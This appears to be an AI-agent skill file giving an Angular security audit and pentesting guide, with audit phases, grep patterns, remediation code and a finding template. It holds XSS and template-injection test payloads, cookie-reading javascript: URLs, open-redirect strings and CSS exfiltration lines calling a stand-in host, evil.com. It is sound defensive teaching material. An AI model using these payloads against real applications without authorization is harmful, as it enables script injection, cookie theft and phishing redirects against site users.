Hacktricks-skills angular-security-audit

Security audit and pentesting guide for Angular applications. Use this skill whenever you need to assess Angular app security, look for XSS vulnerabilities, check for bypassSecurityTrust misuse, audit template injection risks, test for open redirects, or review Angular security configurations. Trigger this for any Angular security review, code audit, or vulnerability assessment of Angular/TypeScript frontend applications.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/network-services-pentesting/pentesting-web/angular/SKILL.MD
source content

Angular Security Audit Skill

A comprehensive guide for security professionals to audit and pentest Angular applications for common vulnerabilities.

Quick Start Checklist

Run through these checks first:

  • Sourcemaps disabled - Check
    angular.json
    for
    sourceMap.scripts: false
  • No bypassSecurityTrust with user input - Search for
    bypassSecurityTrust*
    calls
  • No direct DOM manipulation - Check for
    ElementRef.nativeElement
    ,
    Renderer2.setAttribute
  • No jQuery with user input - Look for
    $.html()
    ,
    $.parseHTML()
    with untrusted data
  • No unsafe location manipulation - Check
    window.location.*
    ,
    document.location.*
    with user input
  • Template expressions escaped - Verify user input isn't concatenated into templates
  • SecurityContext used correctly - Ensure proper context for sanitization

Angular Architecture Overview

Understanding the structure helps identify attack surfaces:

my-workspace/
├── src/
│   ├── app/
│   │   ├── app.module.ts          # Root module - check imports
│   │   ├── app.component.ts       # Root component - check logic
│   │   ├── app.component.html     # Template - check bindings
│   │   └── app-routing.module.ts  # Router - check redirects
│   └── index.html                 # Entry point
├── angular.json                   # Build config - check sourcemaps
└── tsconfig.json                  # TypeScript config

Key concepts:

  • Components - UI units with templates (
    .component.ts
    +
    .html
    )
  • Modules - Group related components (
    .module.ts
    )
  • Services - Shared logic (
    @Injectable()
    )
  • Router - Navigation between views

Vulnerability Testing Guide

1. BypassSecurityTrust Methods

Angular provides methods to bypass sanitization. These are dangerous with user input.

What to search for:

bypassSecurityTrustUrl
bypassSecurityTrustResourceUrl
bypassSecurityTrustHtml
bypassSecurityTrustScript
bypassSecurityTrustStyle

Vulnerable pattern:

// DANGEROUS - user input bypasses sanitization
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl(userInput);

Safe pattern:

// SAFE - validate before trusting
if (isValidUrl(userInput)) {
  this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl(userInput);
}

Test cases:

  • javascript:alert(1)
    - Tests URL bypass
  • <script>alert(1)</script>
    - Tests HTML bypass
  • background-image: url(https://evil.com/exfil?data=)
    - Tests style bypass

2. HTML Injection

Occurs when user input binds to

innerHTML
,
outerHTML
, or
iframe srcdoc
.

Vulnerable pattern:

// app.component.ts
test = userInput; // from user

// app.component.html
<div [innerHTML]="test"></div>

What happens:

  • <script>
    tags are stripped (XSS blocked)
  • But HTML structure is preserved (HTML injection possible)
  • Can still be dangerous for UI redressing

Test: Input

<h1>Injected</h1><script>alert(1)</script>
- script should be removed

3. Template Injection

User input concatenated into template strings can execute code.

Vulnerable pattern:

@Component({
  template: '<h1>title</h1>' + userInput  // DANGEROUS
})

Attack vector:

// User input that executes code
'{{constructor.constructor("alert(1)")()}}'

Test cases:

  • {{constructor.constructor('alert(1)')()}}
  • {{'String'.constructor.constructor('alert(1)')()}}
  • {{'alert(1)'.constructor('alert(1)')()}}

Safe pattern:

// Use interpolation, not concatenation
<h1>{{userInput}}</h1>  // Escaped automatically

4. XSS via DOM Interfaces

Direct DOM manipulation bypasses Angular's security.

Vulnerable patterns:

Document interface:

// DANGEROUS
document.write("<script>alert(1)</script>");
document.createElement('script').textContent = userInput;

ElementRef:

// DANGEROUS - direct DOM access
constructor(private elementRef: ElementRef) {
  this.elementRef.nativeElement.innerHTML = userInput;
}

Renderer2:

// DANGEROUS - setAttribute has no XSS prevention
this.renderer2.setAttribute(element, 'onerror', userInput);
this.renderer2.setProperty(element, 'innerHTML', userInput);

jQuery:

// DANGEROUS
$("p").html(userInput);
$.parseHTML(userInput);

Test payloads:

  • <img src=1 onerror=alert(1)>
  • <svg onload=alert(1)>
  • <body onload=alert(1)>

5. Open Redirects

User-controlled URLs in location objects can redirect to malicious sites.

Vulnerable sinks:

window.location.href = userInput;
window.location.assign(userInput);
window.location.replace(userInput);
window.open(userInput, "_blank");
document.location.href = userInput;

Angular Document class:

// DANGEROUS
constructor(@Inject(DOCUMENT) private document: Document) {}
this.document.location.href = userInput;

Test cases:

  • https://evil.com/phishing
  • javascript:alert(document.cookie)
  • //evil.com
    (protocol-relative)
  • https://legit.com@evil.com
    (credential injection)

Safe navigation:

// Angular Router - stays within domain
this.router.navigate(['/path']);
this.location.go('/path');  // Also internal only

Security Context Reference

Angular uses 6 security contexts for sanitization:

ContextUse CaseExample
None
No sanitizationNever use with user input
HTML
HTML content
[innerHTML]="value"
STYLE
CSS properties
[style]="value"
URL
URL attributes
[href]="value"
SCRIPT
JavaScript codeRarely used
RESOURCE_URL
Executable resources
<script src>

Critical: Using wrong context = vulnerability

// WRONG - URL context on HTML
sanitizer.bypassSecurityTrustUrl("<script>alert(1)</script>");

// CORRECT - HTML context for HTML
sanitizer.bypassSecurityTrustHtml("<h1>Safe</h1>");

Audit Workflow

Phase 1: Reconnaissance

  1. Check sourcemaps:

    curl -I https://app.com/main.js | grep sourceMappingURL
    curl https://app.com/main.js.map  # If exists, download and analyze
    
  2. Review angular.json:

    "sourceMap": {
      "scripts": false,  // Should be false in production
      "styles": false,
      "vendor": false,
      "hidden": true
    }
    
  3. Identify entry points:

    • Find all components with user input
    • Map data flow from input to output
    • Identify DOM manipulation points

Phase 2: Static Analysis

Search patterns in codebase:

# Bypass methods
grep -r "bypassSecurityTrust" src/

# Direct DOM access
grep -r "nativeElement" src/
grep -r "document\." src/
grep -r "window\.location" src/

# jQuery usage
grep -r "\$\." src/
grep -r "from 'jquery'" src/

# InnerHTML bindings
grep -r "innerHTML" src/
grep -r "\[innerHtml\]" src/

Phase 3: Dynamic Testing

Test each input vector:

  1. XSS payloads:

    <script>alert(1)</script>
    <img src=x onerror=alert(1)>
    <svg onload=alert(1)>
    javascript:alert(1)
    
  2. Template injection:

    {{constructor.constructor('alert(1)')()}}
    {{'String'.constructor.constructor('alert(1)')()}}
    
  3. Open redirect:

    https://evil.com
    javascript:alert(document.cookie)
    //evil.com
    
  4. Style injection:

    background-image: url(https://evil.com/exfil?c=)
    behavior: url(evil.htc)
    

Phase 4: Reporting

Document findings:

## Finding: [Vulnerability Type]

**Location:** `src/app/component.ts:45`

**Severity:** High/Medium/Low

**Description:** User input passed to bypassSecurityTrustUrl

**Code:**
```typescript
this.url = this.sanitizer.bypassSecurityTrustUrl(userInput);

Impact: XSS via javascript: URL scheme

Remediation: Validate URL scheme before bypassing

Test:

javascript:alert(1)
executes successfully


## Remediation Guidelines

### Fix BypassSecurityTrust

```typescript
// BEFORE
this.url = this.sanitizer.bypassSecurityTrustUrl(userInput);

// AFTER
if (this.isValidHttpUrl(userInput)) {
  this.url = this.sanitizer.bypassSecurityTrustUrl(userInput);
}

private isValidHttpUrl(url: string): boolean {
  const pattern = /^https?:\/\/.+/;
  return pattern.test(url);
}

Fix ElementRef Usage

// BEFORE
this.elementRef.nativeElement.innerHTML = userInput;

// AFTER - Use Angular binding
<div [innerHTML]="sanitizedInput"></div>

// Or use Renderer2 safely
this.renderer2.setProperty(element, 'textContent', userInput);

Fix Open Redirects

// BEFORE
window.location.href = userInput;

// AFTER - Validate domain
if (this.isAllowedDomain(userInput)) {
  window.location.href = userInput;
}

private isAllowedDomain(url: string): boolean {
  const allowed = ['example.com', 'trusted.com'];
  try {
    const domain = new URL(url).hostname;
    return allowed.includes(domain);
  } catch {
    return false;
  }
}

Fix jQuery Usage

// BEFORE
$("p").html(userInput);

// AFTER - Use textContent or Angular binding
$("p").text(userInput);  // Escapes HTML
// Or better: use Angular's [textContent] binding

Common False Positives

Safe patterns that look dangerous:

  1. Static bypassSecurityTrust:

    // SAFE - hardcoded URL
    this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('https://cdn.example.com/lib.js');
    
  2. Internal navigation:

    // SAFE - Angular Router stays internal
    this.router.navigate(['/dashboard']);
    
  3. Renderer2 setStyle:

    // Generally safe - limited attack surface
    this.renderer2.setStyle(element, 'color', 'red');
    

References

Quick Reference Card

VulnerabilitySearch ForTest Payload
Bypass Trust
bypassSecurityTrust*
javascript:alert(1)
HTML Injection
[innerHTML]
,
outerHTML
<img src=x onerror=alert(1)>
Template InjectionTemplate concatenation
{{constructor.constructor('alert(1)')()}}
DOM XSS
nativeElement
,
document.
<svg onload=alert(1)>
Open Redirect
location.href
,
window.open
https://evil.com
jQuery XSS
$.html()
,
$.parseHTML()
<script>alert(1)</script>

Remember: Angular's default security is strong. Most vulnerabilities come from developers bypassing protections or using unsafe APIs. Focus your audit on those bypass points and direct DOM manipulation.